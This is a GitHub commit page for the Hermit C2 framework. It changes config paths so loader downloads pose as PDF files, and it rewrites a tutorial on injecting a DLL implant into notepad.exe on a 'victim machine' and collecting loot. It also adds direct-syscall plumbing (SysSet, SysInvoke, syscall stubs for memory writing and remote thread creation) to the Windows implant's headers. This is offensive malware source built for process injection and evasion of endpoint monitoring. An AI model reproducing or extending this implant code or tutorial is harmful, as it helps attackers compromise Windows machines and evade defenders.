Skip to content

Commit

Permalink
implemented Internal Syscalls for implant
Browse files Browse the repository at this point in the history
  • Loading branch information
hideckies committed Apr 20, 2024
1 parent 0e2cc23 commit fe75120
Show file tree
Hide file tree
Showing 64 changed files with 1,271 additions and 754 deletions.
2 changes: 1 addition & 1 deletion config.json
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,7 @@
"/chat",
"/ws"
],
"/stager/download": [
"/loader/download": [
"/20200524.pdf",
"/Meeting_2022-01-23.pdf",
"/Report_2024-02-16.pdf",
Expand Down
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
29 changes: 15 additions & 14 deletions docs/tutorials/simple-dll-injection.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Simple DLL Injection

In this tutorial, we generate a stager that loads our DLL implant into another process on Windows victim machine. Then make the C2 agent to communicate with our C2 server.
In this tutorial, we generate **DLL Implant** and **Loader** which loads the DLL into memory on Windows victim machine. Then make the C2 agent to communicate with our C2 server.

Assume that you've completed [the Simple Implant Beacon tutorial](./simple-implant-beacon.md).

Expand Down Expand Up @@ -48,43 +48,43 @@ We can freely delete arbitrary payload by selecting a payload on this menu (of c

This payload is stored under `$HOME/.hermit/server/listeners/listener-<name>/payloads/`. The DLL loader that we will create later will find this DLL file in this directory and load it automatically, so don't move this payload.

## 4. Generate DLL Loader (Stager)
## 4. Generate DLL Loader

Next, generate a stager that loads our DLL implant and inject it on specific process.
Next, generate a DLL loader that loads the DLL implant and inject it on specific process.
Run `payload gen` command again:

![payload gen](../assets/images/terminal/payload_gen_stager_dll_loader_win_amd64_exe.png)
![payload gen](../assets/images/terminal/payload_gen_loader_dll_win_amd64_exe.png)

In the option wizard, choose the following options at least:

- What to generate? -> `stager/dll-loader`
- What to generate? -> `loader/dll`
- OS/Arch/Format -> `windows/amd64/exe`
- Listener URL -> (Same URL as when generating the DLL)
- Technique -> `dll-injection`
- Target Process to Inject -> `notepad.exe`

This stager is also generated under `$HOME/.hermit/server/listeners/listener-<name>/payloads/`.

### Transfer Stager
### Transfer the Loader

**Now we need to transfer the generetad stager to Windows victim machine.**
**Now we need to transfer the generetad loader to Windows victim machine.**

## 5. Execute Stager
## 5. Execute Loader

In Windows victime machine, at first, start `notepad.exe` as target process to inject DLL:
In Windows victime machine, at first, start `notepad.exe` as target process to inject our DLL into:

```ps title="Windows Victim Machine"
PS C:\Users\victim\Desktop> notepad
```

That's because we've specified `notepad.exe` (by default) as target process in the previous **Generate DLL Loader** section.
By doing so, our stager can inject the DLL into the `notepad` process.
By doing so, our loader can inject the DLL into the `notepad` process.

Finally we can execute the stager as below:
Finally we can execute the loader as below:

```ps title="Windows Victim Machine"
# Replace the filename with our own.
PS C:\Users\victim\Desktop> .\stager.exe
PS C:\Users\victim\Desktop> .\loader.exe
```

## 6. Switch to Agent Mode
Expand All @@ -107,9 +107,10 @@ Hermit [agent-abcd] > ps ls

This task prints all running processes on victim machine.

After a few seconds, run the `loot show` command to see the result:
After a few seconds, run the `task results` or `loot show` command to see the result:

```sh title="Hermit C2 Server Console [Agent Mode]"
Hermit [agent-abcd] > task results
Hermit [agent-abcd] > loot show
```

Expand All @@ -119,7 +120,7 @@ Looking at the task result, we can see that our DLL implant is running on the `N

![loot ps](../assets/images/terminal/loot_show_ps.png)

That's because the stager injected the DLL implant into the `notepad.exe` process.
That's because the loader injected the DLL into the `notepad.exe` process.

## 8. Stop Implant & Quit Agent Mode

Expand Down
4 changes: 3 additions & 1 deletion docs/tutorials/simple-implant-beacon.md
Original file line number Diff line number Diff line change
Expand Up @@ -125,9 +125,11 @@ This task retrieves the username on the victim machine.

To see the tasks waiting for results, run the `tasks` command.

After few seconds, if the task is successful, we can see the task results with the `loot show` command:
After a few seconds, if the task is successful, we can see the task results with the `task result` or `loot show` command:

```sh title="Hermit C2 Server Console [Agent Mode]"
Hermit [agent-abcd] > task results
# or
Hermit [agent-abcd] > loot show
```

Expand Down
106 changes: 65 additions & 41 deletions payload/win/implant/include/core/procs.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -52,7 +52,6 @@ namespace Procs
// NtSetInformationFile
typedef NTSTATUS (NTAPI* LPPROC_NTSETINFORMATIONFILE)(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, FILE_INFORMATION_CLASS FileInformationClass);


// **NATIVE APIs (RUNTIME LIBRARY)**
// RtlAllocateHeap
typedef PVOID (NTAPI* LPPROC_RTLALLOCATEHEAP)(PVOID HeapHandle, ULONG Flags, SIZE_T Size);
Expand All @@ -70,8 +69,6 @@ namespace Procs
typedef NTSTATUS (NTAPI* LPPROC_RTLQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
// RtlExpandEnvironmentStrings
typedef NTSTATUS (NTAPI* LPPROC_RTLEXPANDENVIRONMENTSTRINGS)(PVOID Environment, PCWSTR Source, SIZE_T SourceLength, PWSTR Destination, SIZE_T DestinationLength, PSIZE_T ReturnLength);
// RtlNtStatusToDosError
typedef DWORD (NTAPI* LPPROC_RTLNTSTATUSTODOSERROR)(NTSTATUS Status);

// **WINAPIs**
// WinHttpOpen
Expand Down Expand Up @@ -100,48 +97,75 @@ namespace Procs
struct PROCS
{
// **NATIVE APIs**
LPPROC_NTCREATEPROCESS lpNtCreateProcess = nullptr;
LPPROC_NTOPENPROCESS lpNtOpenProcess = nullptr;
LPPROC_NTTERMINATEPROCESS lpNtTerminateProcess = nullptr;
LPPROC_NTSETINFORMATIONPROCESS lpNtSetInformationProcess = nullptr;
LPPROC_NTCREATETHREADEX lpNtCreateThreadEx = nullptr;
LPPROC_NTRESUMETHREAD lpNtResumeThread = nullptr;
LPPROC_NTALLOCATEVIRTUALMEMORY lpNtAllocateVirtualMemory = nullptr;
LPPROC_NTWRITEVIRTUALMEMORY lpNtWriteVirtualMemory = nullptr;
LPPROC_NTFREEVIRTUALMEMORY lpNtFreeVirtualMemory = nullptr;
LPPROC_NTDUPLICATEOBJECT lpNtDuplicateObject = nullptr;
LPPROC_NTWAITFORSINGLEOBJECT lpNtWaitForSingleObject = nullptr;
LPPROC_NTCLOSE lpNtClose = nullptr;
LPPROC_NTCREATEFILE lpNtCreateFile = nullptr;
LPPROC_NTREADFILE lpNtReadFile = nullptr;
LPPROC_NTWRITEFILE lpNtWriteFile = nullptr;
LPPROC_NTCREATENAMEDPIPEFILE lpNtCreateNamedPipeFile = nullptr;
LPPROC_NTQUERYINFORMATIONFILE lpNtQueryInformationFile = nullptr;
LPPROC_NTSETINFORMATIONFILE lpNtSetInformationFile = nullptr;
LPPROC_NTCREATEPROCESS lpNtCreateProcess = nullptr;
LPPROC_NTOPENPROCESS lpNtOpenProcess = nullptr;
LPPROC_NTTERMINATEPROCESS lpNtTerminateProcess = nullptr;
LPPROC_NTSETINFORMATIONPROCESS lpNtSetInformationProcess = nullptr;
LPPROC_NTCREATETHREADEX lpNtCreateThreadEx = nullptr;
LPPROC_NTRESUMETHREAD lpNtResumeThread = nullptr;
LPPROC_NTALLOCATEVIRTUALMEMORY lpNtAllocateVirtualMemory = nullptr;
LPPROC_NTWRITEVIRTUALMEMORY lpNtWriteVirtualMemory = nullptr;
LPPROC_NTFREEVIRTUALMEMORY lpNtFreeVirtualMemory = nullptr;
LPPROC_NTDUPLICATEOBJECT lpNtDuplicateObject = nullptr;
LPPROC_NTWAITFORSINGLEOBJECT lpNtWaitForSingleObject = nullptr;
LPPROC_NTCLOSE lpNtClose = nullptr;
LPPROC_NTCREATEFILE lpNtCreateFile = nullptr;
LPPROC_NTREADFILE lpNtReadFile = nullptr;
LPPROC_NTWRITEFILE lpNtWriteFile = nullptr;
LPPROC_NTCREATENAMEDPIPEFILE lpNtCreateNamedPipeFile = nullptr;
LPPROC_NTQUERYINFORMATIONFILE lpNtQueryInformationFile = nullptr;
LPPROC_NTSETINFORMATIONFILE lpNtSetInformationFile = nullptr;

// **RUNTIME LIBRARY APIs**
LPPROC_RTLALLOCATEHEAP lpRtlAllocateHeap = nullptr;
LPPROC_RTLZEROMEMORY lpRtlZeroMemory = nullptr;
LPPROC_RTLINITUNICODESTRING lpRtlInitUnicodeString = nullptr;
LPPROC_RTLSTRINGCCHCATW lpRtlStringCchCatW = nullptr;
LPPROC_RTLSTRINGCCHCOPYW lpRtlStringCchCopyW = nullptr;
LPPROC_RTLSTRINGCCHLENGTHW lpRtlStringCchLengthW = nullptr;
LPPROC_RTLQUERYSYSTEMINFORMATION lpRtlQuerySystemInformation = nullptr;
LPPROC_RTLEXPANDENVIRONMENTSTRINGS lpRtlExpandEnvironmentStrings = nullptr;
LPPROC_RTLNTSTATUSTODOSERROR lpRtlNtStatusToDosError = nullptr;
LPPROC_RTLALLOCATEHEAP lpRtlAllocateHeap = nullptr;
LPPROC_RTLZEROMEMORY lpRtlZeroMemory = nullptr;
LPPROC_RTLINITUNICODESTRING lpRtlInitUnicodeString = nullptr;
LPPROC_RTLSTRINGCCHCATW lpRtlStringCchCatW = nullptr;
LPPROC_RTLSTRINGCCHCOPYW lpRtlStringCchCopyW = nullptr;
LPPROC_RTLSTRINGCCHLENGTHW lpRtlStringCchLengthW = nullptr;
LPPROC_RTLQUERYSYSTEMINFORMATION lpRtlQuerySystemInformation = nullptr;
LPPROC_RTLEXPANDENVIRONMENTSTRINGS lpRtlExpandEnvironmentStrings = nullptr;

// **WINAPIs**
LPPROC_WINHTTPOPEN lpWinHttpOpen = nullptr;
LPPROC_WINHTTPCONNECT lpWinHttpConnect = nullptr;
LPPROC_WINHTTPOPENREQUEST lpWinHttpOpenRequest = nullptr;
LPPROC_WINHTTPSETOPTION lpWinHttpSetOption = nullptr;
LPPROC_WINHTTPSENDREQUEST lpWinHttpSendRequest = nullptr;
LPPROC_WINHTTPWRITEDATA lpWinHttpWriteData = nullptr;
LPPROC_WINHTTPRECEIVERESPONSE lpWinHttpReceiveResponse = nullptr;
LPPROC_WINHTTPQUERYHEADERS lpWinHttpQueryHeaders = nullptr;
LPPROC_WINHTTPQUERYDATAAVAILABLE lpWinHttpQueryDataAvailable = nullptr;
LPPROC_WINHTTPREADDATA lpWinHttpReadData = nullptr;
LPPROC_WINHTTPCLOSEHANDLE lpWinHttpCloseHandle = nullptr;
LPPROC_WINHTTPOPEN lpWinHttpOpen = nullptr;
LPPROC_WINHTTPCONNECT lpWinHttpConnect = nullptr;
LPPROC_WINHTTPOPENREQUEST lpWinHttpOpenRequest = nullptr;
LPPROC_WINHTTPSETOPTION lpWinHttpSetOption = nullptr;
LPPROC_WINHTTPSENDREQUEST lpWinHttpSendRequest = nullptr;
LPPROC_WINHTTPWRITEDATA lpWinHttpWriteData = nullptr;
LPPROC_WINHTTPRECEIVERESPONSE lpWinHttpReceiveResponse = nullptr;
LPPROC_WINHTTPQUERYHEADERS lpWinHttpQueryHeaders = nullptr;
LPPROC_WINHTTPQUERYDATAAVAILABLE lpWinHttpQueryDataAvailable = nullptr;
LPPROC_WINHTTPREADDATA lpWinHttpReadData = nullptr;
LPPROC_WINHTTPCLOSEHANDLE lpWinHttpCloseHandle = nullptr;

// **SYSCALLS**
Syscalls::SYSCALL sysNtCreateProcess = {0};
Syscalls::SYSCALL sysNtOpenProcess = {0};
Syscalls::SYSCALL sysNtTerminateProcess = {0};
Syscalls::SYSCALL sysNtSetInformationProcess = {0};
Syscalls::SYSCALL sysNtCreateThreadEx = {0};
Syscalls::SYSCALL sysNtResumeThread = {0};
Syscalls::SYSCALL sysNtAllocateVirtualMemory = {0};
Syscalls::SYSCALL sysNtWriteVirtualMemory = {0};
Syscalls::SYSCALL sysNtFreeVirtualMemory = {0};
Syscalls::SYSCALL sysNtDuplicateObject = {0};
Syscalls::SYSCALL sysNtWaitForSingleObject = {0};
Syscalls::SYSCALL sysNtClose = {0};
Syscalls::SYSCALL sysNtCreateFile = {0};
Syscalls::SYSCALL sysNtReadFile = {0};
Syscalls::SYSCALL sysNtWriteFile = {0};
Syscalls::SYSCALL sysNtCreateNamedPipeFile = {0};
Syscalls::SYSCALL sysNtQueryInformationFile = {0};
Syscalls::SYSCALL sysNtSetInformationFile = {0};
Syscalls::SYSCALL sysRtlAllocateHeap = {0};
Syscalls::SYSCALL sysRtlZeroMemory = {0};
Syscalls::SYSCALL sysRtlInitUnicodeString = {0};
Syscalls::SYSCALL sysRtlStringCchCatW = {0};
Syscalls::SYSCALL sysRtlStringCchCopyW = {0};
Syscalls::SYSCALL sysRtlStringCchLengthW = {0};
Syscalls::SYSCALL sysRtlQuerySystemInformation = {0};
Syscalls::SYSCALL sysRtlExpandEnvironmentStrings = {0};
};
typedef PROCS* PPROCS;

Expand Down
110 changes: 21 additions & 89 deletions payload/win/implant/include/core/syscalls.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -4,90 +4,34 @@
#ifndef HERMIT_CORE_SYSCALLS_HPP
#define HERMIT_CORE_SYSCALLS_HPP

#include "core/utils.hpp"

#include <winternl.h>
#include <windows.h>

// #ifndef InitializeObjectAttributes
// #define InitializeObjectAttributes( p, n, a, r, s ) { \
// (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
// (p)->RootDirectory = r; \
// (p)->Attributes = a; \
// (p)->ObjectName = n; \
// (p)->SecurityDescriptor = s; \
// (p)->SecurityQualityOfService = NULL; \
// }
// #endif
extern "C" DWORD SysSample(void*);
extern "C" VOID SysSet(void*);
extern "C" NTSTATUS SysInvoke(...);

typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;
extern "C" DWORD SysNumber;

typedef struct _PS_ATTRIBUTE_LIST
template<typename FirstArg, typename SecondArg, typename... Args>
NTSTATUS CallSysInvoke(FirstArg pSyscall, SecondArg lpProc, Args... args)
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

// extern "C"
// {

// Syscall Functions
// NTSTATUS NtOpenProcess(
// OUT PHANDLE ProcessHandle,
// IN ACCESS_MASK DesiredAccess,
// IN POBJECT_ATTRIBUTES ObjectAttributes,
// IN PCLIENT_ID ClientId OPTIONAL
// );

// NTSTATUS NtAllocateVirtualMemory(
// IN HANDLE ProcessHandle,
// IN OUT PVOID* BaseAddress,
// IN ULONG ZeroBits,
// IN OUT PSIZE_T RegionSize,
// IN ULONG AllocationType,
// IN ULONG Protect
// );

// NTSTATUS NtWriteVirtualMemory(
// IN HANDLE ProcessHandle,
// IN PVOID BaseAddress,
// IN PVOID Buffer,
// IN SIZE_T NumberOfBytesToWrite,
// OUT PSIZE_T NumberOfBytesWritten OPTIONAL
// );
NTSTATUS status;

// NTSTATUS NtCreateThreadEx(
// OUT PHANDLE ThreadHandle,
// IN ACCESS_MASK DesiredAccess,
// IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
// IN HANDLE ProcessHandle,
// IN PVOID StartRoutine,
// IN PVOID Argument OPTIONAL,
// IN ULONG CreateFlags,
// IN SIZE_T ZeroBits,
// IN SIZE_T StackSize,
// IN SIZE_T MaximumStackSize,
// IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL
// );

// NTSTATUS NtWaitForSingleObject(
// IN HANDLE Handle,
// IN BOOLEAN Alertable,
// IN PLARGE_INTEGER Timeout
// );
if (pSyscall->dwSSN == 0)
{
status = lpProc(args...);
}
else
{
SysSet(pSyscall);
status = SysInvoke(args...);
}

// NTSTATUS NtClose(
// IN HANDLE Handle
// );
// }
return status;
}

namespace Syscalls
{
Expand All @@ -98,19 +42,7 @@ namespace Syscalls
};
typedef SYSCALL* PSYSCALL;

struct SYSCALLS
{
SYSCALL sysNtOpenProcess;
SYSCALL sysNtAllocateVirtualMemory;
SYSCALL sysNtWriteVirtualMemory;
SYSCALL sysNtCreateThreadEx;
SYSCALL sysNtWaitForSingleObject;
SYSCALL sysNtClose;
};
typedef SYSCALLS* PSYSCALLS;

SYSCALL FindSyscall(HMODULE hNTDLL, LPCSTR lpNtFunc);
PSYSCALLS FindSyscalls(HMODULE hNTDLL);
SYSCALL FindSyscall(HMODULE hNTDLL, LPCSTR lpNtFunc);
}

#endif // HERMIT_CORE_SYSCALLS_HPP
Loading

0 comments on commit fe75120

Please sign in to comment.